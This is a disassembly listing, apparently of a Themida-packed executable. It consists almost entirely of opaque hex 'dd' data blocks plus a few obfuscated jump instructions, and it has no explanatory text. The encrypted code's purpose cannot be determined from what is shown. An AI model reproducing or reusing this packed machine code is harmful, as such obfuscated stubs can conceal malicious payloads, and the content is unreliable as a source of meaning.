		dd 0CE703ABBh, 95F949DCh, 6410F191h, 29ADD657h,	30464FCBh
		dd 0D737650h, 8FBAFB98h, 45FDB73h, 0C3F81C00h, 0FB108DBCh
		dd 10286564h, 2DBA7EB4h, 0CC66981Eh, 0BEA2C6BFh, 109C679h
		dd 0DCEE5E63h, 0D9h, 54D8D3F3h,	3FC3BACBh, 24E8A5A0h, 12168DBBh
		dd 0F73B7695h, 0D3F24074h, 0C0CD5ADEh, 0AAA641C5h, 8ABC2BEFh
		dd 1F620F13h, 0E93CA39Eh, 29932055h, 0F1356867h, 22595476h
		dd 0A072295Bh, 656722F0h, 3FAA0536h, 0F09243FEh, 7D7CC053h
		dd 53F092CEh, 2426C145h, 3FF55169h, 0C8CEF08Fh,	0F092DC6Fh
		dd 0CFF35753h, 5CB3A4BCh, 5EED0916h, 15B1802Dh,	4E3253F0h
		dd 0E07F0CC4h, 389CACE1h, 5523C2FAh, 97B4CB26h,	0C199141Eh
		dd 7249DA76h, 5F61FE0Eh, 0DDC1BCD7h, 0C1BCCE59h, 4F7968C9h
		dd 516AAA59h, 0D38AB9E6h, 5097C3Dh, 0FA09600Fh,	3A51D5C8h
		dd 0D3D36ECFh, 0EC507C3Dh, 24576926h, 463D4B14h, 0B62D136h
		dd 4FD3CAFCh, 0CFFFAED0h, 8FDh,	0F48B7B00h, 6E5AD8D5h
		dd 34676744h, 52497B04h, 6E29253Ah, 8904015Eh, 0A2DFEE71h
		dd 0FBB6D5AAh, 178EBCC3h, 306D98E7h, 57464718h,	89561F27h
		dd 4C681E6h, 83000000h,	348704EEh, 2C895C24h, 212E6824h
		dd 34890000h, 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h
		dd 52240489h, 4016BE56h, 0CE8140A8h, 7ED3744Dh,	385DEE81h
		dd 0F289008Ch, 8E2C15Eh, 4494F281h, 0D2F774B1h,	7A83E281h
		dd 0D2F7329Eh, 0DB6DC281h, 0D689262Bh, 48B545Ah, 4C48124h
		dd 68000000h, 2831h, 0B9240C89h, 8, 3189C101h, 24048B59h
		dd 81E28952h, 4C2h, 4C28300h, 5C241487h, 5624348Bh, 0C681E689h
		dd 4, 8704C683h, 0E95C2434h, 0FFFAD0A4h, 0DDEA9F4Dh, 0D52A9569h
; ---------------------------------------------------------------------------
		xchg	eax, esi
		mov	bl, 0E5h


loc_5D8BE3:				; CODE XREF: Themida_:005D7EB0j
		mov	eax, 619AF92h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 2BE84F25h, 5E921199h, 92F9CF8h, 6F0D7455h, 1A64130Bh
		dd 3802E79Dh, 0C1F9767h, 11031F11h, 5FD261ADh, 20ECAC8Ch
		dd 586192CFh, 391084Eh,	4BF22A49h, 64FEC8BCh, 2D1918F5h
		dd 18CD7C84h, 57F8FCAh,	7E605700h, 3C3D5ECh, 71D2AFh, 3C8FFB1Dh
		dd 5F9F2252h, 0B16F8D8Dh, 6A0619h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 31698DC3h, 14308195h
		dd 19B58B06h, 8906142Eh, 142B698Dh, 0AE9F906h, 0C7000000h
		dd 121731A2h, 53D73278h, 5585C7F3h, 28061410h, 89000061h
		dd 140CFD9Dh, 3D85C706h, 61401h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 3470C350h
		dd 0B5FF8F66h, 614080Dh, 0FE9h,	4C015A00h, 8FA9DC78h, 77520CECh
		dd 0C32CC656h, 0BD995FFh, 6A0614h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 0B58958C3h, 6142D31h
		dd 95FF006Ah, 6142971h,	78EBC08Bh, 653A7B4Fh, 10BAE66Bh
		dd 2C1C3F32h, 81674D51h, 888DD0E1h, 2646A7Dh, 84EEFEDEh
		dd 181080D5h, 0CD7813BDh, 0A3BA6B39h, 0AB210767h, 6B377C6Bh
		dd 2A381B88h, 0DCF5A4FAh, 0F709B234h, 26269204h, 0BD973BF2h
		dd 8443A4C8h, 72CCA88h,	0C3E922Ch, 0C7DC6EE4h, 7E0EA353h
		dd 0E959AFC8h, 31B5AB1Bh, 0D1275C80h, 0DA38ABA0h, 48C30946h
		dd 4FB320ABh, 0BC7E9A31h, 704FECA0h, 9E9h, 5A6A3F00h, 3Dh
		dd 0E7E90000h, 98000004h, 76F13568h, 4BD45855h,	26C14540h
		dd 3EA96D28h, 0D8E920Fh, 316C9B2Bh, 585572EDh, 443F4BD4h
		dd 762527C0h, 3B64C7B2h, 55E92308h, 6744488Bh, 95063665h
		dd 3AF8B5D6h, 0E72B6665h, 24574678h, 0BA6C2725h, 4E6C5F49h
		dd 29959FFEh, 53EE4FBAh, 0D053F03Bh, 0D7E9A66Ch, 0BACB94A4h
		dd 96B1C8C3h, 0E9AD191Bh, 0A6D8E70Eh, 98B433F7h, 6D9FEE1Dh
		dd 109D0E3Eh, 53F03B21h, 78BADEA2h, 68232FB8h, 8B020F50h
		dd 0CE251473h, 141893BFh, 0A02798Bh, 0F03B97ABh, 1E95B353h
		dd 3D7091EEh, 739E890Dh, 3BB58421h, 4ACE53F0h, 42B11626h
		dd 4827E72Bh, 12930E21h, 53F03827h, 0B65AD8BCh,	85953668h
		dd 4876h, 0D84D1B00h, 0CE857140h, 676CD65Ch, 0A7063665h
		dd 53F0929Ah, 539FF699h, 85948C8Dh, 129h, 66678700h, 47780737h
		dd 2B592656h, 8075870h,	0EF1A6595h, 0DE3D9AB2h,	47988B7h
		dd 3C533CE0h, 7D81FC0Dh, 69ADE0E2h, 356867ABh, 3F0AAB06h
		dd 0B453F092h, 1D6242D0h, 0C39AB1ECh, 0EDEA3FC8h, 0A19BFADBh
		dd 0B098DBDh, 10A2A4BBh, 783BBF2h, 429DEBE3h, 0D35F7761h
		dd 0A7EB1906h, 0F028CB06h, 0A0C44853h, 0C3BAD7A8h, 8D74FCBh
		dd 286759E1h, 0E8382C1h, 306B9D0Ah, 514C4718h, 1279E439h
		dd 95452AC0h, 669485h, 67000000h, 0C1BCCE68h, 12294DC9h
		dd 0D6397742h, 989A8ACDh, 0E34CBF2Ch, 53F0F350h, 0F6A56FD3h
		dd 0EAAEDEDBh, 3D4BE60Dh, 0DBC121Fh, 7D45E54h, 16919508h
		dd 0FD82BAF7h, 19A4D4CFh, 0DB76B722h, 5853F0E9h, 3A513EF4h
		dd 95060238h, 3FFC85h, 67380000h, 7A053568h, 2138534Eh
		dd 1AAA6823h, 0BBCA216Eh, 0C70D118Ch, 7376667h,	0FDB8D594h
		dd 92844637h, 0D6B953F0h, 0EE1D6CBFh, 92C87BA4h, 0C74B53F0h
		dd 638951A3h, 7385948Ch, 1, 316C67B9h, 330EAF1Ah, 0B053F092h
		dd 0F56646CCh, 922E1D9Ah, 0A1A553F0h, 31494446h, 7E805FD5h
		dd 0B998FF0Fh, 9D183352h, 6C18E999h, 6290DE5Fh,	0ED5149DCh
		dd 0D8082DDh, 0CA6C9E09h, 930E3ABCh, 25FB5F6Fh,	0E5280583h
		dd 629ABEC4h, 0E47C7EC3h, 431A7155h, 22C94B42h,	138ABCCBh
		dd 3F6E900Fh, 5F4E700Fh, 7F2E502Fh, 650F304Fh, 0F5052964h
		dd 98C6B363h, 443AF3E9h, 645AE037h, 7F81C0D7h, 7EAC080Ch
		dd 188BA934h, 154h, 0A0ABB22Dh,	0E55E4E5h, 6AEE55E4h, 6180A6A8h
		dd 88ACE1E0h, 8950073h,	53F09239h, 80C1D118h, 51251AFCh
		dd 0A8B627EDh, 0C949DC51h, 182A3545h, 406A165h,	31F7047Bh
		dd 4A6EE037h, 601B2D32h, 0BECDBE68h, 60E41491h,	587FCA6Bh
		dd 90F455E4h, 9B96FD82h, 1A37C9C4h, 0E34C7F63h,	55E45850h
		dd 0F6A56FD3h, 2655D9D4h, 7C8D2527h, 698D0901h,	87020E51h
		dd 25EF1377h, 0A9569745h, 44278Bh, 808D0000h, 43EC1F65h
		dd 0D3F09290h, 5EDFEF53h, 0D3F092E3h, 31EC03CCh, 0AB660223h
		dd 2393062h, 0F04C96A5h, 0EB292DD3h, 314A36D3h,	0F04C25F4h
		dd 9FA13E53h, 0A5B3C8ECh, 52E21DC9h, 49090B80h,	8F93h
		dd 61801900h, 8347E01Bh, 7449DC6Ah, 96A6DDEBh, 61FE0E32h
		dd 401F2C5Fh, 0E54CB942h, 0CE070F65h, 3FA868AAh, 2B66650Dh
		dd 0FCA49710h, 5B3F55E4h, 46450437h, 0BCFDC94Bh, 55E4FD80h
		dd 18274E89h, 423B4CE6h, 5BAADA5Eh, 0CDFDB8D6h,	60F74BBBh
		dd 0E307335Eh, 0AF63CCFFh, 74FCECAh, 2E380B94h,	0D7BB5FDDh
		dd 2921255Dh, 41793456h, 260017C6h, 1D9AB1C7h, 45F77C51h
		dd 0FC828EDDh, 5CB8D0CDh, 77840038h, 0B7FC1B36h, 7EB49841h
		dd 3002060Ah, 0E01B6180h, 0D8D5F675h, 0C0975B5Ah, 0F5849DAh
		dd 15718904h, 8486D9F1h, 689A0509h, 20B68522h, 49CD55E9h
		dd 36571625h, 41D33747h, 0B67EF665h, 9FD09DC7h,	6D8C090Bh
		dd 1698357Ah, 113352B9h, 0F709969Ah, 0DDEB7484h, 0C23196A6h
		dd 336A9CABh, 5F4E70EFh, 31D2Fh, 8C9B0000h, 346767A6h
		dd 52497B04h, 6E29253Ah, 8904015Eh, 0A2DFEE71h,	0FBB6D5AAh
		dd 178EBCC3h, 306D98E7h, 57464718h, 0EC831F27h,	240C8904h
		dd 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 83240C89h, 48904ECh
		dd 4EC8324h, 0BB241C89h, 619B1FFh, 545BD989h, 8124048Bh
		dd 4C4h, 0B9515200h, 0C8F28BAh,	8103E9C1h, 3211CEE9h, 0B3E98139h
		dd 0F738507Bh, 9FC181D1h, 89900F57h, 0C20159CAh, 8B5A0A89h
		dd 89572404h, 4C781E7h,	81000000h, 4C7h, 243C8700h, 2434FF5Ch
		dd 4C48159h, 0E9000000h, 0FFFACA00h, 0F97E21B0h, 5EB840C8h
		dd 30619B6h, 0ECE0FFC5h, 0D7304D1Dh, 9D3D78AAh,	5B4301C3h
		dd 441BB6ABh, 49033C2Eh, 1A22F6CCh, 0F741256Eh,	5F5B21B0h
		dd 0BF17FCE1h, 0F141F049h, 3C3F1EE7h, 12690550h, 0FF05E87Fh
		dd 62798CD0h, 0D14D5CB4h, 0D50F9BCEh, 0CB08EAD9h, 0CB10EF53h
		dd 0B1521771h, 0F71BF0Bh, 0D72E57A3h, 860C2CD1h, 0CB408ED8h
		dd 227ADAC0h, 3E515898h, 9C3FE961h, 2C46D5AFh, 0D16ECCA1h
		dd 7F0645ECh, 0DA75D873h, 0E9191F8Ch, 7, 18A3D1A8h, 0E9000000h
		dd 0D92h, 19B97568h, 8C07E906h,	8068FFFBh, 0E90619BAh
		dd 0FFFB8BFDh, 19BCA168h, 8BF3E906h, 8B68FFFBh,	0E90619BDh
		dd 0FFFB8BE9h, 19C08B68h, 8BDFE906h, 0EA68FFFBh, 0E90619C1h
		dd 0FFFB8BD5h, 19C34368h, 8BCBE906h, 72A4FFFBh,	1146863Dh
		dd 0B81D6B98h, 5FBECE65h, 55795C2h, 35F27DAAh, 42F12A6Ah
		dd 265DCE02h, 8F2475A6h, 55822171h, 0BCA2D8B9h,	0C4398138h
		dd 1A204150h, 39813834h, 3BB6924Ch, 0D9508799h,	306FAF79h
		dd 168BCB55h, 0B292CEECh, 311446AFh, 57B49AA0h,	12CC3368h
		dd 0F6160E0h, 801D7CCFh, 6BDEF9Dh, 91A9792Ah, 336857ABh
		dd 6AEB05F7h, 2C83D34Dh, 680B1C24h, 0CDBF3574h,	4800E258h
		dd 4E8C397Ch, 0BC106CD1h, 977BFA63h, 0D3508EBFh
		dd 0A1B519A1h, 54F5155Ah, 27878Dh, 992A0000h, 64D95087h
		dd 7D2E5C24h, 22E71F7Eh, 0A0357390h, 0F5D74F36h, 0FB397B8Fh
		dd 0B7F4FF57h, 618D5420h, 13Ah,	578799F4h, 232765D8h, 271E95C5h
		dd 0B1940749h, 0CD0C7FDFh, 81957B83h, 73ED3367h, 0F02C5CC1h
		dd 26B05182h, 0F96C9EEFh, 0DB548498h, 0C4222662h, 27CCA96h
		dd 6F7C3894h, 465A4024h, 67263368h, 6846795Fh, 2D5F0933h
		dd 25FB44F3h, 84C4B9F4h, 0A1726168h, 3B1FA187h,	6836060Bh
		dd 61B16F33h, 7AD846C2h, 8FC45825h, 35CFB5CDh, 21D33368h
		dd 2CBC93F7h, 0A706B3EEh, 8E5C3AB2h, 9A68E95Ch,	8A89A1EDh
		dd 26434A8Bh, 63305581h, 97C0FA5Eh, 0AC593F47h,	0BF293367h
		dd 11FA000Dh, 713573C4h, 0CEEF5087h, 7BB4D2B8h,	543CAE39h
		dd 0FC5A7526h, 0F20875A7h, 3B855A3Eh, 0EB3510C2h, 91776A9h
		dd 0C11755C8h, 0CDB5F76Eh, 0C40B157Ah, 5B63F055h, 336A1575h
		dd 2121530Dh, 891895C7h, 0B67569A1h, 920D4F9Dh,	55452360h
		dd 0AC1926ACh, 0B0B6Eh,	60BF1300h, 0CF5EB533h, 0A8054898h
		dd 71ACED7Bh, 0D95282C2h, 0D98647AAh, 718F2477h, 1553801Bh
		dd 0AC3C6BC2h, 0EC82316Eh, 3A6F556Dh, 3B333981h, 0E53666B6h
		dd 43E03E4Eh, 5B2B74C2h, 5574991Fh, 406DE439h, 63E7DD6Dh
		dd 0D98A0FACh, 7E437BDAh, 435738Fh, 0BA62F36Ah,	1242C35Ah
		dd 0D6C62A96h, 0C2A4DCA4h, 88397BF2h, 30EC3204h, 62C642DBh
		dd 8D54844Dh, 0E9CFh, 38666200h, 0AAEA82FBh, 91960C71h
		dd 1D336786h, 17E766BDh, 0AE9607EAh, 1F65253h, 311C93C3h
		dd 0FB5CAFEFh, 5F0D70A2h, 0D34DCAFBh, 7DDC227Dh, 0B0F3D20h
		dd 0F84546F1h, 0C4B9F624h, 659DBC84h, 3574697Ch, 45376C1Eh
		dd 0F02C292Ah, 1900009Dh, 85EE40E1h, 63C1313Bh,	0F504F14Ah
		dd 336CAC32h, 0E03A1E4Ah, 0C7091776h, 0DC19E954h, 3465B6B5h
		dd 36822E98h, 7390FD52h, 69DE654Bh, 0C7433D33h,	4988F759h
		dd 813371D4h, 0AC723A42h, 0B959CC26h, 0A00h, 0C87FB4E6h
		dd 0ADDA53B8h, 70A7FA5Fh, 0D70CA1F0h, 0BFD44789h, 6CACF33Ch
		dd 10448433h, 0B718689Fh, 63B33166h, 66E797CCh,	813B7A60h
		dd 0A32E0639h, 7ED0A999h, 1F22ADB4h, 8222083Eh,	8C7E3367h
		dd 0E13A9A84h, 0C758B864h, 0D126225Eh, 0B7EC4393h, 0A90256D6h
		dd 87992CA9h, 0FA2F756h, 58386A16h, 2A1390CEh, 0AEAF0452h
		dd 9A83207Eh, 0A8956AEEh, 818D738Bh, 7B153367h,	0B1B2ED1Fh
		dd 2669B7D4h, 5A7393F7h, 0D8357397h, 0F959372Eh, 83B21FB8h
		dd 2E58F48Eh, 0D9E10E2Fh, 397BA6F3h, 8369DD8Fh,	13397BA6h
		dd 48F86DBCh, 0FF30603Eh, 0A8A8DA86h, 6AC90957h, 5BBA62F3h
		dd 593F47C6h, 29397BA6h, 0EFABDBBFh, 0E6A6F7C7h, 16E42A3Ch
		dd 25985B5h, 6E0605Eh, 0DC2C5BD8h, 0C63C217Eh, 0C8F855E5h
		dd 2369B798h, 52E48888h, 174CE333h, 8241D836h, 0F4BA1EA1h
		dd 0EF44928Ch, 33F50076h, 0FFD86229h, 0CDB0EB21h, 3F17BB9Fh
		dd 0B7EA2FF1h, 820555D3h, 2765D851h, 3F9488F5h,	4D3577EEh
		dd 0F72C6AFAh, 0BF31018Eh, 7FAB75A4h, 0EA85B793h, 0B1566CE9h
		dd 719FE30Ah, 37668687h, 0A6ED83FAh, 20520E77h,	902CAAF4h
		dd 16724782h, 1F1C4F21h, 0CEB083Eh, 0C5B7A1EFh,	0F09EA60h
		dd 43959DD7h, 0BB1B75E8h, 3464EA66h, 0ED1F8AADh, 0E5791978h
		dd 0F8193088h, 0D685DCC2h, 4ECAA49Dh, 224F94AAh, 2FF1AF33h
		dd 89F0DFh, 5337261Dh, 4CC9Fh, 8F91BE00h, 886ED649h, 189DD69Dh
		dd 53EB376Ch, 2BCD94Ah,	0E9C14B06h, 6FC4120Ah, 0BCCE4AF6h
		dd 64858083h, 5BBCB396h, 0EB1333A6h, 3367F805h,	2BB1E39Dh
		dd 96D24BE6h, 0FFF992B2h, 0CFB93573h, 0CF8CF541h, 0BDEEF5BCh
		dd 6EA7DFBEh, 9F104F31h, 76D25181h, 0D153CAA4h,	0A2D8A5A6h
		dd 12436A02h, 5FC5DE8Eh, 3C68C717h, 0DC0E1EAEh,	26E25071h
		dd 0B9837075h, 0B4BD5BDh, 2777A994h, 73D79588h,	276DB39Ch
		dd 44928CF4h, 0ED76A8EFh, 3DA84BD2h, 7DF9Dh, 1C93C700h
		dd 0FB3299E7h, 44D93C4Ch, 2D80D12Fh, 0F52676F6h, 8DD2135Eh
		dd 25A3D04Bh, 0F907BCEFh, 90D00796h, 98B6ED42h,	3D9B81B9h
		dd 0FE73981h, 54879982h, 202060C5h, 511998C6h, 6C0E13D8h
		dd 0B9D74EF8h, 0A5AAD954h, 9F86197Bh, 0C80565EDh, 88000000h
		dd 8EDEDD8Ah, 0D832B357h, 2F307D86h, 6DE88740h,	0D000000h
		dd 7FDEDD8Ah, 67816647h, 0D34A2433h, 91C65DBDh,	0B9AC0353h
		dd 0DC1DEA58h, 96139079h, 0EEEF98B2h, 41D69CB8h, 301D4F6Ch
		dd 746AD10Ah, 2627D135h, 271E93C6h, 0CAE41D65h,	0B69CA2C3h
		dd 0CA397C6Ah, 1F49E634h, 0B4BF973Bh, 8D550DF7h, 0E9CFF714h
		dd 0B9397C6Ch, 11974BCFh, 1A000000h, 128D8h, 71A77900h
		dd 0FB62BF12h, 0BE3B1F49h, 7BDAD98Ah, 739BFE43h, 0ADEA8435h
		dd 209AB571h, 0F59240B5h, 0ED000006h, 8FDD0AA9h, 22A2D148h
		dd 0C705B2EFh, 9CEC1B96h, 29B4E33Ch, 0CE61B3ECh, 0AA054B99h
		dd 7DACEF7Dh, 0DB5886C6h, 6B93F2ACh, 39813E85h,	8A94191Dh
		dd 578EDEDDh, 0B78F63E4h, 4012FFACh, 96B987h, 8A3C0000h
		dd 29FF2DDh, 65AB75D0h,	0CB1153CAh, 7C2C1188h, 5CDD0414h
		dd 145FF7DBh, 87401357h, 73C1h,	87995400h, 2163DA55h, 7F7C2B21h
		dd 8850AEEFh, 7C68FA70h, 40F22B60h, 1C1181C0h, 6EC1233h
		dd 9A336847h, 436B43EAh, 0F92B34BFh, 0DF61F599h, 96E67A6Fh
		dd 79DFE90Dh, 748CF426h, 3367B18Dh, 45D63AE2h, 0D6BCA0E0h
		dd 0AA3367A1h, 8A922C3Ah, 3D6F0F69h, 5D658283h,	3367F177h
		dd 15F9590Bh, 87409F55h, 4B314976h, 573367F9h, 9109DDA5h
		dd 0ACFFFFFEh, 8EDEDD8Ah, 95FBBB57h, 0C4D231Ah,	82D0AC91h
		dd 0A5CC62Dh, 7CD238D7h, 876D95B2h, 1B336781h, 6805E969h
		dd 0D0874013h, 249h, 0E5366645h, 70ADEC80h, 0E4056A0Dh
		dd 6781F8DEh, 5D437B33h, 25336781h, 0CB4F394Bh,	9EFE0F27h
		dd 4696D60Dh, 47F070D5h, 3A5EB446h, 0B6977E11h,	6869AA90h
		dd 0EA04F633h, 6F4A536Bh, 32C83574h, 95D74EE3h,	0B3AA0557h
		dd 26C647F1h, 84C4B9F2h, 0BD851646h, 0D96D1584h, 803768A8h
		dd 0F23161BFh, 0D5488896h, 6A91E16Bh, 77EE1816h, 7B871DFFh
		dd 21FF5039h, 30D4BCEFh, 72ADEF1Eh, 0D85587C5h,	13EF5583h
		dd 0A1F10FF2h, 0FF6DD002h, 0B8CE4F4Ch, 3B882493h, 0EA46FD6Fh
		dd 6BDBBAB9h, 7D693E2Fh, 9CBD852Ah, 85278F7Fh, 11ECD2E8h
		dd 0DAB43368h, 9D03CAAAh, 67A97F65h, 27510333h,	0AE7E2323h
		dd 6A043573h, 5CBA62F3h, 26225EC7h, 7BB0381Eh, 9E0F4439h
		dd 1588C9A7h, 55E94930h, 471FF318h, 0DBBAB9EAh,	87B5FEA3h
		dd 7987773Bh, 0EB2D6786h, 0F074C873h, 3BD2F83h,	1A039AFDh
		dd 9530EA6Eh, 67B6876Dh, 3F691B33h, 851A7888h, 0F0854AB8h
		dd 7D8A01C1h, 0EC9C811Ch, 2EAFD6B2h, 0E13F901h,	2E6F3368h
		dd 680E3218h, 629C4E33h, 45DA38E6h, 9EFF212Eh, 5AF50703h
		dd 0B9A53F5Bh, 0A6D00652h, 978E9FA7h, 423C3573h, 968163DBh
		dd 0CB4F397Bh, 1D73AD73h, 69E99B82h, 5443E885h,	3E508Dh
		dd 8AC50000h, 5A7BDAD9h, 811F053Dh, 0F1633367h,	8FAC7191h
		dd 44363573h, 8F8769E1h, 0C417397Bh, 5B63F055h,	397B8F75h
		dd 0C70D530Dh, 9C86F154h, 870B97CAh, 2107A4AFh,	95B18D54h
		dd 24000000h, 82FB3866h, 0C71AAEAh, 6CA12270h, 0CE9E8731h
		dd 82E41390h, 3367867Dh, 4AE736F6h, 77B191D3h
		dd 0E15B8827h, 54C8B5B6h, 83AAAEFFh, 712A2C7Bh,	157BA535h
		dd 61E1A39Ah, 0A07CD98Bh, 78883F70h, 482E5418h,	54397E21h
		dd 8AB6AF00h, 375C8E78h, 20983011h, 0F512C035h,	0ED000003h
		dd 8FDD0AA9h, 22A2D148h, 0C705B2EFh, 9CEC1B96h,	29B4E33Ch
		dd 0CE61B3ECh, 0AA054B99h, 7DACEF7Dh, 0DB5886C6h, 6B93F2ACh
		dd 39814185h, 6694191Dh, 3E4EE536h, 871443E0h, 89F93866h
		dd 0D9548583h, 0AB882464h, 27B951Fh, 40F72C6Ah,	0F9386653h
		dd 0ECE53DBFh, 2B533212h, 33681545h, 0C71A35Dh,	72586E8Fh
		dd 0E336815h, 0EC2AF45Ch, 732C00B7h, 0DCED1570h, 6E357426h
		dd 0EB0889FCh, 7C05EDD3h, 85DBB539h, 3A66DF4Eh,	544265Eh
		dd 860A397Ch, 0B306ABB0h, 1D038D54h, 4FE367B6h,	31h, 0DAD98AE2h
		dd 53D5A7Bh, 3367811Fh,	7191F163h, 35738FACh, 69E14436h
		dd 397B8F87h, 666DC155h, 8D542149h, 3E73A646h, 0A93D0547h
		dd 0E6h, 0FB3866CCh, 5F457D9Ah,	23336781h, 0DCB0D1B1h
		dd 223A237Ch, 0EF4293F4h, 5474C876h, 7E3602DEh,	0D5AB92CCh
		dd 8DF92E85h, 3367CD88h, 3C6BC816h, 0BC1D6EACh,	124CFC61h
		dd 8D8EB92Bh, 0E9697A80h, 6F193573h, 4DDE3EEEh,	3D0D72C5h
		dd 0D9A98E13h, 0A3D9B94Ah, 227DDFF0h, 0A87495F0h, 32523667h
		dd 3B857EE9h, 0E1E7FE9h, 8C1F71CEh, 3E95EB99h, 98CA76EFh
		dd 62BB1D6Bh, 0B7E6B7DEh, 0EC6DCA7Ah, 2A1AB9EBh, 1C26AC0Bh
		dd 29669A9h, 4A8C0000h,	0E92EBED5h, 90C503B0h, 3766E61Dh
		dd 0DD3F4DFAh, 0DCA1542h, 7AA90252h, 0DE75A6EAh, 0A7DC4D8Eh
		dd 0DBAF959h, 0E4CAF051h, 0BC398142h, 789935B8h, 67815C42h
		dd 344A2433h, 94D449E6h, 5A2272ACh, 281C8DC2h, 33678142h
		dd 0C572AC5Eh, 9FF45787h, 3B55170Eh, 0D98A2F8Ch, 820BF109h
		dd 5E643367h, 33678178h, 520C5E08h, 0F154C90Ch,	180401B3h
		dd 42FE67B8h, 6686A7C6h, 1586D637h, 5FC67030h, 0EC51CC01h
		dd 0FE0602BCh, 35738F39h, 50364C49h, 50397B8Fh,	991174A6h
		dd 397B8FB7h, 43889485h, 74CA6EEAh, 5421426Fh, 0F1FA8Dh
		dd 997F0000h, 7DC55487h, 0BC1073A3h, 304C3163h,	0FD2C63E0h
		dd 0B7AED888h, 67863A3Fh, 1996C433h, 59BB65EAh,	252D5FC6h
		dd 0E9289BFBh, 3A40D1B4h, 33678554h, 0D600B22Ch, 4342FD6Fh
		dd 0DD0800E0h, 0C8B5E7F8h, 8E2575ABh, 556DD597h, 3573DF44h
		dd 0F72914C6h, 390E0AA5h, 36171447h, 0ECD2E809h, 0B4397B9Eh
		dd 9A467EDAh, 7E3B8542h, 1E4B408Eh, 6E3B4243h, 56A2CA1Dh
		dd 0FB5AF426h, 0A5BAF325h, 69360143h, 8E35122Eh, 818A6B5Eh
		dd 0CE18F657h, 0A4D0944Dh, 0B2EF22B8h, 46B999CBh, 3E45D606h
		dd 26AC0224h, 3D0FCF46h, 25000001h, 0C705B2F1h,	9AEA1990h
		dd 3F4DFA37h, 0D41443DEh, 71FC2B84h, 76A9EBB4h,	0D24D83C1h
		dd 0A5F427A5h, 3A0FE0Eh, 235B3AD4h, 3981443Dh, 666CD145h
		dd 3E4EE536h, 0A5C243E0h, 6781B79Dh, 3919CB33h,	71A779C6h
		dd 669F5A3Eh, 2986D738h, 0BD043B80h, 87DAF4Ah, 0E2F2E58h
		dd 67E412F8h, 94FC6E33h, 6EC3136Dh, 5AB8F178h, 0ED7FA9C5h
		dd 0C2BED507h, 0B6889091h, 0CE75EA7Ah, 7390B19Ch, 6839654Bh
		dd 0C7433D33h, 7EEF2DBFh, 3A23DD35h, 0B51043DDh, 1652CB62h
		dd 54829CE4h, 0D20CA3F3h, 0B8F727A5h, 0F3754C5h, 39809029h
		dd 7B8B8F79h, 33F6A508h, 0D9E10E6Fh, 4C0A9CF3h,	0D175DD8Fh
		dd 0BD0E4C7Dh, 2E5AC35Ah, 8C647FCh, 6A7CF156h, 58C64289h
		dd 0D64789FAh, 270712F7h, 0A499CBA7h, 42D34AE4h, 0CC0A7BDAh
		dd 402557h, 7AB7E600h, 5CF29003h, 95064AD2h, 9690F0B0h
		dd 4D6AEB48h, 0B6E4F35h, 4C72534Ch, 4C0B6E66h, 3F1E483Ah
		dd 0B6E2107h, 93F7614Ch, 62EE2CBCh, 0B6E765Ch, 455A0A4Ch
		dd 67FFA1C8h, 52CB6597h, 0F84h,	17860900h, 1A7BC609h, 0B0E29E87h
		dd 3EBB9FCDh, 86FF3466h, 120BA8F6h, 9D80197Ah, 2B128DC3h
		dd 0B5A80355h, 3F2679DBh, 0C8BDF021h, 59CC61B4h, 0E459D007h
		dd 2B5D68B3h, 24890000h, 4BB5324h, 1000000h, 5B04245Ch
		dd 5E08950h, 4,	8704E883h, 895C2404h, 5268240Ch, 89000013h
		dd 0EC83242Ch, 24148904h, 19B7C2BAh, 5AD18906h,	242C8B54h
		dd 4C481h, 89530000h, 0DA8952CBh, 5A085589h, 2434FF5Bh
		dd 4C4815Dh, 0FF000000h, 83592434h, 82E904C4h, 7FFFFB7Eh
		dd 0A5B8F905h, 30619C4h, 0EFE0FFC5h, 0F235A312h, 0A41AF54h
		dd 7877DBC5h, 7A3FC26Fh, 5B14F7DBh, 2B5B153Ch, 0A77AFC41h
		dd 673DAA7Dh, 0E86161A9h, 0Eh, 0FA1377B5h, 0CBCFCF13h
		dd 0D9AE1265h, 0B70F8D54h, 0F28158F3h, 0BEF32E8h, 7060C081h
		dd 2BF50000h, 66B966DBh, 183C8BA5h, 61CAB660h, 0D2B0C781h
		dd 81F95BDEh, 7D4A03C7h, 59F9510Fh, 0B9DBC781h,	0F18A2B52h
		dd 13E957h, 99120000h, 6A092F0Fh, 0E4B64848h, 0A5AF8478h
		dd 92857797h, 18048FFDh, 0F60CA8Bh, 281h, 80F38B00h, 8361A7C4h
		dd 8E902EBh, 2E000000h,	2FCFF399h, 4B08C349h, 12E94Bh
		dd 253E0000h, 3912DE8Eh, 2B7DFB62h, 0D20F0671h,	467C0C16h
		dd 906CFB81h, 850FFFFFh, 12h, 27E9h, 43C46300h,	67F9F7E4h
		dd 6E19C58Dh, 8E9AEFFh,	0F3000000h, 5E4074A9h, 0E9E4351Eh
		dd 0FFFFFF5Dh, 15B4C4F6h, 11291986h, 15EE9h, 9A8C8200h
		dd 86E8062h, 0F44AAC86h, 295EAF4Eh, 22503409h, 21507F50h
		dd 2A5E5009h, 1777E50h,	53227E39h, 0A8767450h, 0ACC252D2h
		dd 14B0839Eh, 65128050h, 12850h, 0
		dd 400h, 2 dup(0)
		dd 3300h, 0
		dd 800h, 0
		dd 73795300h, 6D6574h, 6F725020h, 73736563h, 5Dh, 3Ch dup(0)
		dd 0E9000000h, 178Ch, 19C95468h, 7C0BE906h, 6468FFFBh
		dd 0E90619CAh, 0FFFB7C01h, 19CB5868h, 7BF7E906h, 3D68FFFBh
		dd 0E90619CCh, 0FFFB7BEDh, 19CD9C68h, 7BE3E906h, 0E68FFFBh
		dd 0E90619CFh, 0FFFB7BD9h, 19CFC468h, 7BCFE906h, 8968FFFBh
		dd 0E90619D0h, 0FFFB7BC5h, 19D2D268h, 7BBBE906h, 0DD68FFFBh
		dd 0E90619D3h, 0FFFB7BB1h, 19D49C68h, 7BA7E906h, 5868FFFBh
		dd 0E90619D5h, 0FFFB7B9Dh, 19D6EC68h, 7B93E906h, 0A968FFFBh
		dd 0E90619DCh, 0FFFB7B89h, 19DD8F68h, 7B7FE906h, 2668FFFBh
